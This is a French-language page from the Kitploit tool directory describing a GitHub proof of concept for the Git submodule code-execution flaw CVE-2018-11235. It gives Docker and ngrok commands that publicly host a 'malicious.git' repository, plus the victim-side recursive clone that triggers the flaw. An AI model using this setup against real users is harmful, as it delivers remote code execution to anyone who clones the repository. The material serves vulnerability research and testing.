Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration — CVE-2018-11235-Git-Submodule-CE + Docker Ngrok Configuration | Kitploit
Outils/GitHubGitHub/twseptian/cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubtwseptian/cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok Configuration

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 4 ansPas encore vérifié

CVE-2018-11235-Git-Submodule-CE + Configuration Docker Ngrok

CVE-2018-11235-Git PoC et tunnellisation avec docker ngrok

Construire le Dockerfile

root@kitploit:~
$ docker build -t cve-2018-11235 .

Créer un réseau personnalisé pour ngrok

root@kitploit:~
$ docker network create myngroknet

Démarrer le serveur HTTP Git

root@kitploit:~
$ docker run -d -p 8080:80 --net myngroknet --name cve-2018-11235 cve-2018-11235

Démarrer le serveur HTTP Ngrok pour le serveur Git

root@kitploit:~
$ docker run -d -p 4040:4040 --net myngroknet --name ngrok wernight/ngrok ngrok http cve-2018-11235:80 --authtoken PUT_YOUR_NGROK_AUTHTOKEN

Vous pouvez maintenant accéder à l'API pour trouver le domaine attribué :

root@kitploit:~
$ curl $(docker port www_ngrok 4040)/api/tunnels
{"tunnels":[{"name":"command_line","uri":"/api/tunnels/command_line","public_url":"https://f5fc-116-206-35-27.ngrok.io","proto":"https","config":{"addr":"http://cve-2018-11235:80","inspect":true},"metrics":{"conns":{"count":0,"gauge":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0},"http":{"count":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0}}},{"name":"command_line (http)","uri":"/api/tunnels/command_line%20%28http%29","public_url":"http://f5fc-116-206-35-27.ngrok.io","proto":"http","config":{"addr":"http://cve-2018-11235:80","inspect":true},"metrics":{"conns":{"count":0,"gauge":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0},"http":{"count":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0}}}],"uri":"/api/tunnels"}

PoC sur un serveur Git vulnérable

root@kitploit:~
$ git clone --recurse-submodules http://f5fc-116-206-35-27.ngrok.io/malicious.git

Références :

  • CVE-2018-11235 git RCE
  • CVE-2018-11235-Git-Submodule-CE
  • Exposer les services d'un conteneur Docker sur Internet en utilisant l'image Docker ngrok
  • wernight/ngrok
  • CVE-2018-11235 - PoC rapide et sale
Télécharger l’outil